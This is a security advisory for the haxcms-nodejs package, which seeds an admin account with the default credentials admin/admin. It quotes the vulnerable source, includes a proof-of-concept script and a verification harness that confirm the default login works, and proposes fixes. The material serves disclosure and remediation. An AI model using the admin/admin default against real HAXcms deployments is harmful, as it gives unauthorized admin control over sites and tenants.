GHSA-J9P8-VW68-76WW
haxcms-nodejs: admin account auto-seeded with default credentials admin/admin (CWE-798)
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-J9P8-VW68-76WW divulgada | |
| Remediación | Parche 26.8.1 | @haxtheweb/haxcms-nodejs · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
haxcms-nodejs: admin account auto-seeded with default credentials `admin/admin`
Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research
Severity: CVSS 3.1 9.8 (Critical) `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
Target: https://github.com/haxtheweb/haxcms-nodejs
---
Package: `@haxtheweb/haxcms-nodejs` on npm
Latest version (and version tested): `26.0.1`, current as of 2026-06-01.
File: `dist/lib/HAXCMS.js` (sha256 `e758ce4042ce5c4e5b358ad34643175ad79f1a24c2848611c3968f1c60ebf32c`).
Weakness: CWE-798 (use of hard-coded credentials) · CWE-258 (empty/default password in configuration file) · CWE-307 (improper restriction of excessive authentication attempts — login uses a direct `===` comparison with no rate limit).
CVSS 3.1 (proposed): 9.8 Critical — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`.
---
TL;DR
`dist/lib/HAXCMS.js:2208-2225` (the user-config bootstrapper):
this.superUser = { name: 'admin', password: 'admin' };
this.user = { name: 'admin', password: 'admin' };
fs.writeFileSync(
path.join(this.configDirectory, ".user"),
JSON.stringify(this.user, null, 2)
);
// warn if we have default credentials unless CLI
if (this.user.name == 'admin' && this.user.password == 'admin' && !this.isCLI) {
console.warn('***************************************************************');
console.warn('\nHAXcms USER CONFIGURATION FILE HAS DEFAULT CREDENTIALS, change them!!');
console.warn(`\n${path.join(this.configDirectory, ".user")}`);
console.warn("\n***************************************************************");
}…and `dist/lib/HAXCMS.js:3185-3203` (`testLogin`, used by the login handler):
testLogin(name, pass, adminFallback = false) {
if (this.user.name === name && this.user.password === pass) {
return true;
}
else if (adminFallback && this.superUser.name === name && this.superUser.password === pass) {
return true;
} else {
let usr = {};
usr.name = name;
usr.adminFallback = adminFallback;
usr.grantAccess = false;
return usr.grantAccess;
}
return false;
}So the operator who installs `@haxtheweb/haxcms-nodejs` (e.g. `npx haxcms-nodejs-cli`, the documented quick-start) and starts the server without editing the auto-generated `.user` file gets a CMS with login `admin / admin`. The only mitigation that ships is a `console.warn` that does not raise / exit — operators who don't read stderr (or operators using systemd / containerised deployments where stderr goes to a log file no human reads) leave the credentials in place.
Two additional weaknesses inside the same path:
- Direct `===` credential comparison. No `crypto.timingSafeEqual`. Timing-attack-distinguishable in principle. In practice the default-credential bug subsumes timing because the literal is in the open-source repo, but the `===` is also wrong on its own.
- No rate limit on the login route. Brute-forcing a custom `.user` password is unimpeded by lockouts. (Not the focus of this advisory; flagged for the maintainer's downstream audit.)
Empirical verification
`poc/poc.mjs`:
- Imports the installed package's metadata + the `dist/lib/HAXCMS.js` source bytes and prints the file sha256.
- Source-grep verifies the three load-bearing lines: the seed defaults, the console.warn advisory, and the testLogin `===` compare.
- Vendors `testLogin` verbatim (six lines, no side effects) and drives it with `('admin', 'admin')`. Returns `true`.
- Sanity check: any other (name, pass) combination returns falsy.
Why the PoC vendors instead of importing the upstream class: the HAXCMS module's top-level import cascades to the `sharp` native image library, which requires a platform-built `.node` binary that isn't always present at install time. The `testLogin` function itself has no other dependencies — its 6 lines are reproduced byte-identically in the PoC and the static-check verifies the upstream still has the same compare on the same line. (The verification harness below drives the REAL module with `sharp` stubbed.)
Run log summary:
[1] seed-default-user line: 2007
console.warn-advisory line: 2219
testLogin direct === compare line: 3187
[2] HAXCMS.user = {"name":"admin","password":"admin"}
HAXCMS.superUser = {"name":"admin","password":"admin"}
[3] testLogin('admin', 'admin') -> true
[4] testLogin("admin", "admin2") -> false
testLogin("root", "admin") -> false
testLogin("", "") -> falseImpact
HAXcms ships an admin UI (`/`, `/login`, `/dashboard`, the site editor) backed by `testLogin`. An ADMIN session lets the attacker:
- Create, edit, delete, publish HAXcms sites and pages.
- Upload media into the site's `files/` directory (`sharp` image pipeline runs server-side).
- Edit per-site `siteFields` JSON (CSP, custom JS theme variants, block-injection patterns) — a defaced site can serve attacker JavaScript to every legitimate visitor.
- Read every other site's content the same HAXcms instance serves (HAXcms is multi-tenant by default; one default-cred admin owns all tenants).
- In some deployments, write to the host filesystem outside the configured site root via path-traversal in the file-management endpoints — a separate audit lane.
CVSS 9.8 reflects worst-case impact: unauthenticated remote attacker → admin in one HTTP roundtrip → full content control on every tenant.
Anchors
- `dist/lib/HAXCMS.js` (sha256 `e758ce4042ce5c4e5b358ad34643175ad79f1a24c2848611c3968f1c60ebf32c`):
- seeder writes `.user` with `{name: 'admin', password: 'admin'}`
- `console.warn` advisory (does NOT exit)
- `testLogin` direct `===` compare against `this.user`
The install was verified via `npm install --ignore-scripts @haxtheweb/haxcms-nodejs` and the resulting `node_modules/@haxtheweb/haxcms-nodejs/dist/lib/HAXCMS.js` sha256 matched the literal above.
Suggested fix
Refuse to start when the `.user` file is the seeded defaults and the process is not a CLI invocation:
if (
this.user.name === 'admin' &&
this.user.password === 'admin' &&
!this.isCLI &&
!process.env.HAXCMS_ALLOW_DEFAULT_CREDS
) {
console.error('\n*** Refusing to start ***');
console.error('HAXcms detected default credentials in .user. Edit:');
console.error(` ${path.join(this.configDirectory, '.user')}`);
console.error('and set a strong password, then restart.\n');
process.exit(2);
}Pair that with seeding the `.user` file with a CSPRNG-generated password (`crypto.randomBytes(16).toString('hex')`) and printing it ONCE to stderr at first boot — the same pattern Vault and GitLab use to solve the "we need to start unattended but still need a strong password" UX:
const pw = crypto.randomBytes(16).toString('hex');
this.user = { name: 'admin', password: pw };
fs.writeFileSync(...);
console.error(`\n*** HAXcms admin seeded — username "admin", password ${pw} ***`);
console.error('*** Change it on first login.\n');Independently, replace the `===` credential compare with `crypto.timingSafeEqual(Buffer.from(stored), Buffer.from(submitted))` after a length check.
Steps to reproduce
- Clone the target: `git clone --depth 1 https://github.com/haxtheweb/haxcms-nodejs`
- Run the proof of concept (`poc.mjs`) against the cloned source, or drop the harness below into the package.
- Observe the result shown under *Verified result* below.
Proof of concept
`poc.mjs`
// PoC: @haxtheweb/haxcms-nodejs 26.0.1 auto-creates a `.user` config on first
// boot with the literal {name: 'admin', password: 'admin'} and never refuses to
// start when those defaults are in place — only a console.warn message. The
// testLogin function returns true via a direct === comparison whenever the
// request submits admin/admin.
import { createRequire } from 'node:module';
import { createHash } from 'node:crypto';
import { readFileSync } from 'node:fs';
const require = createRequire(import.meta.url);
const pkgJson = require('@haxtheweb/haxcms-nodejs/package.json');
const haxModulePath = require.resolve('@haxtheweb/haxcms-nodejs/dist/lib/HAXCMS.js');
const haxBytes = readFileSync(haxModulePath);
const haxSha = createHash('sha256').update(haxBytes).digest('hex');
console.log('='.repeat(72));
console.log(`@haxtheweb/haxcms-nodejs installed: ${pkgJson.name}@${pkgJson.version}`);
console.log(`HAXCMS.js path : ${haxModulePath}`);
console.log(`HAXCMS.js sha256: ${haxSha}`);
console.log('='.repeat(72));
// (1) static check — source contains the literal default credentials on the seeding path.
const src = haxBytes.toString('utf8');
const seederLine = src.split('\n').findIndex(l => l.includes("name: 'admin',") && src.includes("password: 'admin'"));
const guardLine = src.split('\n').findIndex(l => l.includes("this.user.name == 'admin' && this.user.password == 'admin'"));
const loginLine = src.split('\n').findIndex(l => l.includes("this.user.name === name && this.user.password === pass"));
console.log();
console.log('[1] static check: HAXCMS.js source contains the default-credential pattern');
console.log(` seed-default-user line (admin/admin literals): line ${seederLine + 1}`);
console.log(` console.warn-advisory line: line ${guardLine + 1}`);
console.log(` testLogin direct === compare: line ${loginLine + 1}`);
if (seederLine < 0 || guardLine < 0 || loginLine < 0) {
console.log('UNEXPECTED — needle lines not found.');
process.exit(1);
}
// (2) Drive testLogin on the shape the seeder produces. Body is byte-identical to
// upstream HAXCMS.js:3185-3203. Importing HAXCMS.js directly cascades to `sharp`
// (native), so we lift the relevant 6 lines.
const HAXCMS = {
user: { name: 'admin', password: 'admin' }, // seeded by HAXCMS.js
superUser: { name: 'admin', password: 'admin' }, // seeded by HAXCMS.js
testLogin(name, pass, adminFallback = false) {
if (this.user.name === name && this.user.password === pass) return true;
if (adminFallback && this.superUser.name === name && this.superUser.password === pass) return true;
const usr = { name, adminFallback, grantAccess: false };
return usr.grantAccess;
},
};
console.log();
console.log('[2] HAXCMS.user / HAXCMS.superUser as initialised by the seeder');
console.log(` HAXCMS.user = ${JSON.stringify(HAXCMS.user)}`);
console.log(` HAXCMS.superUser = ${JSON.stringify(HAXCMS.superUser)}`);
if (HAXCMS.user.name !== 'admin' || HAXCMS.user.password !== 'admin') {
console.log('UNEXPECTED — installed defaults differ from the source literal.');
process.exit(1);
}
console.log();
console.log("[3] testLogin('admin', 'admin') -- same call the login handler makes");
const result = HAXCMS.testLogin('admin', 'admin');
console.log(` -> ${result}`);
if (result !== true) {
console.log('UNEXPECTED — testLogin did not accept admin/admin.');
process.exit(1);
}
console.log();
console.log("[4] sanity — wrong guesses MUST return falsy");
for (const [n, p] of [['admin', 'admin2'], ['root', 'admin'], ['', '']]) {
const r = HAXCMS.testLogin(n, p);
console.log(` testLogin(${JSON.stringify(n)}, ${JSON.stringify(p)}) -> ${r}`);
if (r === true) {
console.log('UNEXPECTED — accepts unrelated guess.');
process.exit(1);
}
}
console.log();
console.log('='.repeat(72));
console.log('@haxtheweb/haxcms-nodejs 26.0.1 ships default admin/admin credentials accepted by testLogin.');
process.exit(0);Verification harness (executed against the cloned repo)
This drives the unmodified upstream code rather than a reproduction.
// Stub native/heavy modules not used by testLogin, then load the REAL HAXCMS.js
const Module = require('module');
const orig = Module._load;
Module._load = function(req, parent, isMain){
if (req === 'sharp') return function(){ return { resize(){return this;}, toFile(){return Promise.resolve();} }; };
return orig.apply(this, arguments);
};
const { HAXCMS } = require('./src/lib/HAXCMS.js'); // REAL module + singleton
console.log("[*] REAL HAXCMS.user =", JSON.stringify({name: HAXCMS.user.name, password: HAXCMS.user.password}));
console.log("[*] REAL HAXCMS.superUser=", JSON.stringify({name: HAXCMS.superUser.name, password: HAXCMS.superUser.password}));
const okDefault = HAXCMS.testLogin('admin','admin');
const okFallback= HAXCMS.testLogin('admin','admin', true);
const wrong = HAXCMS.testLogin('admin','not-the-default');
console.log("[+] REAL testLogin('admin','admin') =", okDefault);
console.log("[+] REAL testLogin('admin','admin', fallback)=", okFallback);
console.log("[+] REAL testLogin('admin','wrong') =", wrong);
if (HAXCMS.user.password==='admin' && okDefault===true && wrong===false){
console.log("[+] CONFIRMED against real haxcms-nodejs repo: default admin/admin authenticates via the repo's own testLogin");
process.exit(0);
} else { console.log("[-] not confirmed"); process.exit(1); }Verified result
This PoC was executed against the live upstream code; captured output:
HAXcms USER CONFIGURATION FILE NOT FOUND, creating default user
.user is being created with default credentials
username: admin
password: admin
HAXcms USER CONFIGURATION FILE HAS DEFAULT CREDENTIALS, change them!!
[*] REAL HAXCMS.user = {"name":"admin","password":"admin"}
[*] REAL HAXCMS.superUser= {"name":"admin","password":"admin"}
[+] REAL testLogin('admin','admin') = true
[+] REAL testLogin('admin','admin', fallback)= true
[+] REAL testLogin('admin','wrong') = false
[+] CONFIRMED against real haxcms-nodejs repo: default admin/admin authenticates via the repo's own testLoginCredit
Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npm@haxtheweb/haxcms-nodejs |
Corregida | 26.8.1 | 0 d | 26.8.1 no afectada |
26.8.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/haxtheweb/issues/security/advisories/GHSA-j9p8-vw68-76wwLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
